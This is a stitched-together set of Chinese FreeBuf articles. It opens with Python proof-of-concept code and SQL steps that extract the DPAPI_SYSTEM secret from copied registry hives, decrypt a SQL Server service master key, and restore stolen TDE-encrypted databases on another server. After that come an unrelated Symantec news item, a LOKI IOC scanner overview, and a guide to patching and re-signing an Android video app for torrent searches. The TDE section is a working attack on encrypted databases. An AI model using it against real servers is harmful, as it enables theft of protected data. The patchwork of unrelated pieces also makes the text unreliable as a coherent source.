def search_with_blob(entropy, dpapi_system, mkp, tdeblob): 
  """Try decrypting with each master key""" 
  wblob = blob.DPAPIBlob(tdeblob) 
  mks = mkp.getMasterKeys(wblob.mkguid) 
  for mk in mks: 
    if mk.decrypted: 
      wblob.decrypt(mk.get_key(), entropy) 
      if wblob.decrypted: 
        print("Decrypted service master key: %s" % wblob.cleartext.encode('hex')) 
      else: 
        print("Decryption failed") 

def search_with_entropy(entropy, dpapi_system, mkp, masterdb): 
  """Search for DPAPI blobs in master database""" 
  masterdb = ConstBitStream(filename = options.masterdb) 
  for found in masterdb.findall('0x01000000D08C9DDF0115D1118C7A00C04FC297EB', bytealigned = True): 
    blobsegment = masterdb[found:found+512*8]  # Extraneous bytes ignored 
    search_with_blob(entropy, dpapi_system, mkp, blobsegment.tobytes()) 

parser = OptionParser() 
parser.add_option("--masterkey", metavar='DIRECTORY', dest='masterkeydir') 
parser.add_option("--system", metavar='HIVE', dest='system') 
parser.add_option("--security", metavar='HIVE', dest='security') 
parser.add_option("--software", metavar='HIVE', dest='software') 
parser.add_option("--masterdb", metavar='FILE', dest='masterdb') 

(options, args) = parser.parse_args() 

reg = registry.Regedit() 
secrets = reg.get_lsa_secrets(options.security, options.system) 
dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] 

mkp = masterkey.MasterKeyPool() 
mkp.loadDirectory(options.masterkeydir) 
mkp.addSystemCredential(dpapi_system) 
mkp.try_credential_hash(None, None) 

with open(options.software, 'rb') as f: 
  reg = Registry.Registry(f) 
  regInstances = reg.open('Microsoft\\Microsoft SQL Server\\Instance Names\\SQL') 
  for v in regInstances.values(): 
    print("Checking SQL instance %s" % v.value()) 
    regInst = reg.open('Microsoft\\Microsoft SQL Server\\%s\\Security' % v.value()) 
    entropy = regInst['Entropy'].value() 
    search_with_entropy(entropy, dpapi_system, mkp, options.masterdb) 

方便的是，脚本是跨平台的，所以它不需要在Windows机器上运行。这就意味着在目标服务区上不需要安装软件，一些文件渗出（或使用备份）就可以了。

一旦DPAPI密钥被恢复了，这个脚本搜索主数据库获得加密的SMK。这些SMK使用特殊的DPAPI blob结构被加密。DPAPI结构总是包含供应商GUID：df9d8cd0-1501-11d1-8c7a-0c04fc297eb，这个ID很容易被找到。由于主数据库未被加密，我们可以只使用SQL server就能提取ID，但是需要更多的协调和尝试。因为GUID非常受限制，这种快速且卑鄙的在主数据库中直接搜索方法被用于证明概念。这也意味着即使文件格式不同，它也同样适用于SQL备份文件或者本地.dmf文件。

执行只指向所需文件，然后继续：

$ ./tde.py --masterkey=S-1-5-18 --system=SYSTEM --security=SECURITY --software=SOFTWARE --masterdb=master.mdf

其结果是简单的未加密SMK：

Decrypted service master key: 999338193ab37c38c3aa99df062e2f5ca96b7dbc87542af9d61e0dc8a473c1f9

SQL Server有一个方式备份并恢复SMK，使用命令行：

BACKUP SERVICE MASTER KEY TO FILE = 'some-file-to-write-to' 
    ENCRYPTION BY PASSWORD = 'some-password' 

另外，他们可以被恢复到一个新的服务器，使用命令行：

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' 
    DECRYPTION BY PASSWORD = 'some-password' [FORCE]

另外一些主服务器密钥也可以利用SMK恢复来被解密，数据库访问。不幸的是，我们没有来自目标机器的SMK的备份文件（实际上在很多攻击的情况下，我们可以只知性备份命令，但是没有进行备份恢复等）。

在这个例子里，我们有一个恢复等原始密钥，但是没有备份文件，一个明显的安装SMK的方式是在恢复计算机上使用DPAPI系统凭证加密SMK，然后储存在主数据库中。dpapick库目前并不支持加密，我很烦躁啊，所以我跳过了现在这个不花太多时间和精力的方法。相反，我使用了那种快速卑鄙的方法，创建一个SMK备份文件，但是它手动操作较多。这些都是可以被简化的，但是为了证明这个概念，我使用了一个简单的cuckoo’s egg方法，视频中展示了这个方法－终端到中断的恢复demo。这种方法使用恢复密钥生成一个SMK备份文件，我们可以再我们的恢复SQL server上进行恢复。

下面这些步骤是使用新的SMK备份文件恢复一个TDE备份（来自.bak文件）来恢复服务器：

1、使用单用户模式启动SQL server(-m startup option)

2、恢复主数据库

RESTORE DATABASE MASTER FROM DISK = 'c:\...\master.bak' WITH REPLACE;

3、重启SQL服务(仍然是单用户模式)

4、添加管理员用户／重置管理员密码

5、在普通多用户模式下重启服务

6、使用FORCE选项恢复SMK

ESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' 
    DECRYPTION BY PASSWORD = 'some-password' FORCE

7、恢复目标数据库

8、刷新数据库列表

下面这些步骤用于恢复.MDF/.LDF文件：

1、停止SQL服务

2、复制 .mdf/.ldf文件，代替现在的主数据库

3、在单用户模式下开启SQL服务器(-m startup option)

4、增加管理员用户/重置管理员密码

5、在普通多用户模式下重启服务

6、使用FORCE选项恢复SMK

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' 
    DECRYPTION BY PASSWORD = 'some-password' FORCE

7、离线拿下目标数据库

8、让目标数据库再次在线

9、刷新数据库列表

在这点上，我们完全恢复并能够访问加密数据库

在上面的内容中，我们介绍了TDE机制及如何破解TDE，之后的文章我们将继续深入TDE，揭秘是否应该继续使用TDE。

* 原文链接：simonmcauliffe，FB小编FireFrank编译，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）

 

2010年5月19日，加州科尔马镇，迈克菲安全软件和赛门铁克的诺顿杀毒软件被一同摆在货架上

25年前，赛门铁克(Symantec Corp.)发明了商用杀毒软件来保护电脑免遭黑客的攻击。如今，该公司称这样的战术注定将失败。

赛门铁克负责信息安全的高级副总裁戴伊(Brian Dye)说，杀毒软件已死，他们认为杀毒软件无论如何都不再是一项赚钱的业务。

杀毒软件的目的在于防止黑客侵入电脑。但如今不管有没有杀毒软件的保护，黑客常常会侵入电脑。有鉴于此，戴伊正在牵头赛门铁克的一项再造行动，该行动反映出每年规模达700亿美元的网络安全行业出现了更广泛的转变。

多家公司开发的新技术不是努力防止黑客的侵入，而是假定黑客已侵入，如何想方设法找到他们并将损失降至最低。

赛门铁克本周也加入这些公司的队伍，将创建自己的响应小组来帮助被黑客入侵的企业。六个月内，该公司计划销售有关具体威胁的情报介绍，以便使客户不仅知道自己被攻击，还知道为何被攻击。此外，赛门铁克还正在开发一种在网络内寻找更先进恶意软件的技术。

戴伊说，赛门铁克不打算放弃诺顿(Norton)杀毒软件，但将在新的产品线中寻找收入增长点。他表示，如果客户从防止黑客入侵转变为对黑客攻击进行侦测和响应，那么收入增长就将来自侦测和响应。

利用0day漏洞的恶意程序日益增多，杀毒软件赶不上漏洞发现的速度，无法阻止黑客入侵，虽然这就是它们存在的目的。既然无力阻止恶意程序感染用户的电脑，杀毒软件开发商使用的策略显然有问题，赛门铁克为此表示要重塑安全行业：不是防止黑客侵入，而是假定黑客已侵入，如何将用户数据损失降至最小。赛门铁克准备从防止黑客入侵转变为对黑客攻击进行侦测和响应，告诉客户是否被攻击，以及为何会被攻击。

LOKI是一款APT入侵痕迹扫描软件，以入侵威胁指标(IOC)和黑客工具特征为对象，发现入侵事件和痕迹，其内置的指标特征来自公开发布的事件报告、取证分析和恶意样本等。LOKI由德国信息安全公司Bsk-Consulting开发。

LOKI GitHub：

https://github.com/Neo23x0/Loki

LOKI支持以下四种检测模式：

*匹配文件路径和文件名的IOC检测

*匹配文件数据和进程内存的YARA恶意软件规则检测

*匹配已知恶意软件的MD5 /SHA1/SHA256哈希值检测

*匹配C&C终端连接的网络检测

其它方式检测：

*进程异常检测（基于sysforensics)

*SWF压缩文件检测

*SAM转储检测

*Regin木马文件检测（使用命令 -reginfs)

运行：

（1）克隆LOKI的github库（如果只是下载ZIP文件，请记得下载IOC特征签名子库 signature-base）

（2）提供扫描对象（移动介质、网络共享、文件夹等）

（3）以管理员方式按照命令运行loki.exe

LOKI内置的威胁特征库（IOC):

*“方程式组织”Equation Group APT恶意样本-（包括哈希值、卡巴斯基分析的YARA规则和10个通用规则）

*Carbanak APT-卡巴斯基分析的恶意样本哈希值和文件名IOC

*Arid Viper APT-趋势科技分析的恶意样本哈希值

*Regin恶意软件（GCHQ/NSA/FiveEyes相关)-其中的Legspin和Hopscotch模块IOC

*QUERTY 恶意软件（FiveEyes相关）-键盘记录模块IOC

*Skeleton Key APT（国家支持攻击相关）-恶意软件IOC

*WoolenGoldfish APT-SHA1哈希值和YARA规则

*OpCleaver APT（伊朗相关APT活动）-IOC

*其它180多个黑客工具YARA规则

*其它600多个网页后门YARA规则

*大量匹配的可疑文件签名

*……

LOKI收费版：

LOKI的收费版本软件THOR，规则库更强大，扫描功能更深入，请参考THOR

*本文译者：clouds，编译来源：Securityblog，转载须注明来自FreeBuf.COM

1:前言

看到有同仁发《权力的游戏》自动追剧脚本,老衲也来凑个热闹…

移动端最好的播放器非云播君莫属了,极速而方便,高清而无码,可惜最近资源被和谐,每次有美剧更新需要用浏览器手工添加播放源或者pc端添加,很是麻烦的说。于是就简单diy了下云播1.9 for Android ,使其支持自定义搜索引擎(比如人人影视,xxx资源站等),并且修复了原来搜索结果列表页标题的bug,为了迎接Game of Thrones Season 4 的回归,特记录下修改过程。

2:添加yyets.com搜索引擎

反编译搜索引擎代码
com\xunlei\cloud\action\search\AdviseEngine.java  89 行

try
    {
      str = SearchAdviceEngineListResp.getDomainName(paramString);
      if (str.equalsIgnoreCase("btdigg.org"))
      {
        localAdviseEngine.url_pattern = "http://btdigg.org/search?q={searchTerms}&p={page}";
        localAdviseEngine.multi_page = true;
        localAdviseEngine.page_start_point = 0;
        return localAdviseEngine;
      }
      if (str.equalsIgnoreCase("so.com"))
      {
        localAdviseEngine.url_pattern = "http://www.so.com/s?q={searchTerms}+site%3Abtdigg.org&pn={page}";
        localAdviseEngine.multi_page = true;
        localAdviseEngine.page_start_point = 1;
        return localAdviseEngine;
      }
    }
    catch (URISyntaxException localURISyntaxException)
    {
      localURISyntaxException.printStackTrace();
      return localAdviseEngine;
    }
    if (str.equalsIgnoreCase("torrentkitty.com"))
    {
      localAdviseEngine.url_pattern = "http://www.torrentkitty.com/search/{searchTerms}/{page}";
      localAdviseEngine.multi_page = true;
      localAdviseEngine.page_start_point = 1;
      return localAdviseEngine;
    }
    if (str.equalsIgnoreCase("kuaichuanmirror.com"))
    {
      localAdviseEngine.url_pattern = "http://www.kuaichuanmirror.com/search/{searchTerms}/";
      localAdviseEngine.multi_page = false;
      localAdviseEngine.page_start_point = 1;
    }

挖槽  竟然内置四大毛片搜索引擎 !!!
随便改掉一个即可
由于内置引擎只识别磁力链接 需要一个脚本文件来做中转(代码见最后链接)
输出格式为

magnet:?xt=urn:btih:hash1&title1</br>
magnet:?xt=urn:btih:hash2&title2</br>

修改 smali\com\xunlei\cloud\action\search\AdviseEngine.smali   239 行

.line 127 
:cond_1 
const-string v2, "yyets.com" 
invoke-virtual {v0, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z 
move-result v2 
if-eqz v2, :cond_2 
.line 128 
const-string v0, "http://www.ttst.com/y2c.php?keyword={searchTerms}&page={page}" 
iput-object v0, v1, Lcom/xunlei/cloud/action/search/AdviseEngine;->url_pattern:Ljava/lang/String;
.line 129 
const/4 v0, 0x1

3:修正标题bug

云播在使用第三方搜索引擎时,发现结果列表页面的标题全部是随机的字符串

查看对应的dalvik代码
smali\com\xunlei\cloud\action\search\AdviseEngine.smali   990行

const-string v0, "magnet:\\?xt=urn:btih:([A-Za-z\\d]{32,})&?"      //批量正则   遍历结果数组
  .....
 invoke-static {v0, v1}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;I)Ljava/util/regex/Pattern;
 .....
 invoke-virtual {v5}, Ljava/util/regex/Matcher;->find()Z
move-result-object v0
 .line 88
 invoke-virtual {v0}, Ljava/lang/String;->length()I
move-result v1
add-int/lit8 v1, v1, -0x1
 invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C 
move-result v1
.line 89
const/16 v6, 0x26
if-ne v1, v6, :cond_4
.line 90
invoke-virtual {v0}, Ljava/lang/String;->length()I
move-result v1
add-int/lit8 v1, v1, -0x1
invoke-virtual {v0, v3, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;
 move-result-object v0
    move-object v1, v0
    .line 92
    :goto_1
    const/16 v0, 0x14
    invoke-virtual {v1}, Ljava/lang/String;->length()I
    move-result v6
    invoke-virtual {v1, v0, v6}, Ljava/lang/String;->substring(II)Ljava/lang/String;
    move-result-object v0
    .line 93
    invoke-static
 {v0, v2}, 
Lcom/xunlei/cloud/action/search/g;->a(Ljava/lang/String;I)Ljava/lang/String;
 // str2.substring(20, str2.length())
    move-result-object v6
 ......
.line 105 
iput-object v6, v0, Lcom/xunlei/cloud/action/search/SnifferData;->title:Ljava/lang/String;
.line 106 
 iput-object v1, v0, Lcom/xunlei/cloud/action/search/SnifferData;->url:Ljava/lang/String;
.line 107 
 iput-object v6, v0, Lcom/xunlei/cloud/action/search/SnifferData;->hash:Ljava/lang/String;

可以看到,标题被直接赋值给  magnet 的 hash 了  …..
修改为

ArrayList localArrayList = new ArrayList();
  Matcher localMatcher = Pattern.compile(".*?</br>", 2).matcher(   //中转脚本每行用</br> 分割
    paramString);
  if (!localMatcher.find()) {
   return;
  }
  String str1;
  str1 = localMatcher.group();
  for (String str2 = str1.substring(0, 60);; str2 = str1) {
   String str3 = str2.substring(20, 60);
   String str4 = str1.substring(61, str1.length() - 5);
   SnifferData localSnifferData = new SnifferData();
   localSnifferData.title = str4;
   localSnifferData.url = str2;
   localSnifferData.hash = str3;
   localArrayList.add(localSnifferData);
   break;
  }

对应的dalvik 代码(具体见后面链接)

locals 15 //15个寄存器
const-string v0, ".*?</br>"
const/4 v10, 0x0
const/16 v11, 0x3c // 60
const/16 v12, 0x3d //61
const/4 v1, 0x2
invoke-static {v0, v1}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;I)Ljava/util/regex/Pattern;
move-result-object v0
invoke-virtual {v0, v10, v11}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                                                                              
move-result-object v8
move-object v1, v8
                                                                                                              
.line 92
:goto_1
move-object v9, v0     // copy 一份v0   magnet:?xt=urn:btih:hash&title
const/16 v0, 0x14
                                                                                                              
invoke-virtual {v1}, Ljava/lang/String;->length()I
                                                                                                              
........
new-instance v0, Lcom/xunlei/cloud/action/search/SnifferData;
invoke-direct {v0}, Lcom/xunlei/cloud/action/search/SnifferData;-><init>()V
invoke-virtual {v9}, Ljava/lang/String;->length()I
move-result v13
add-int/lit8 v13, v13, -0x5
invoke-virtual {v9, v12, v13}, Ljava/lang/String;->substring(II)Ljava/lang/String;
move-result-object v14
.line 105
iput-object v14, v0, Lcom/xunlei/cloud/action/search/SnifferData;->title:Ljava/lang/String;
                                                                                                              
.line 106
iput-object v1, v0, Lcom/xunlei/cloud/action/search/SnifferData;->url:Ljava/lang/String;
                                                                                                              
.line 107
iput-object v6, v0, Lcom/xunlei/cloud/action/search/SnifferData;->hash:Ljava/lang/String;

4:回编译错误处理

java -jar apktool.jar b CloudPlay_ybappgw c1.apk
libpng error: Not a PNG file
ERROR: Failure processing PNG image F:\Pentest\Ya 
Tools\pendroid\apktool1.5.2\CloudPlay_ybappgw\res\drawable-hdpi\local_list_view_item_color.png

不是真正的png文件  看了下文件头  bmp…  改过来 继续

ERROR: 9-patch image F:\Pentest\Ya 
Tools\pendroid\apktool1.5.2\CloudPlay_ybappgw\res\drawable-hdpi\progressbar_local_item.9.png
malformed.

把三个文件全部改成普通 png格式 progressbar_local_item.9.png => progressbar_local_item.png

apktool b CloudPlay_ybappgw c1.apk
I: Checking whether sources has changed...
I: Smaling...
I: Checking whether resources has changed...
I: Building apk file...

成功编译成apk 文件

5:测试结果

签名  安装到手机

java -jar signapk.jar testkey.x509.pem testkey.pk8 c1.apk c1_s.apk
adb install -r c1_s.apk

截图

6:链接

中转脚本:    https://github.com/yaseng/pentest/blob/master/project/diy_cloudplay/y2c.php
g.smali    : https://github.com/yaseng/pentest/blob/master/project/diy_cloudplay/g.smali
smali 语法 : https://code.google.com/p/smali/w/list
Av Top 10:   http://movie.douban.com/doulist/3822549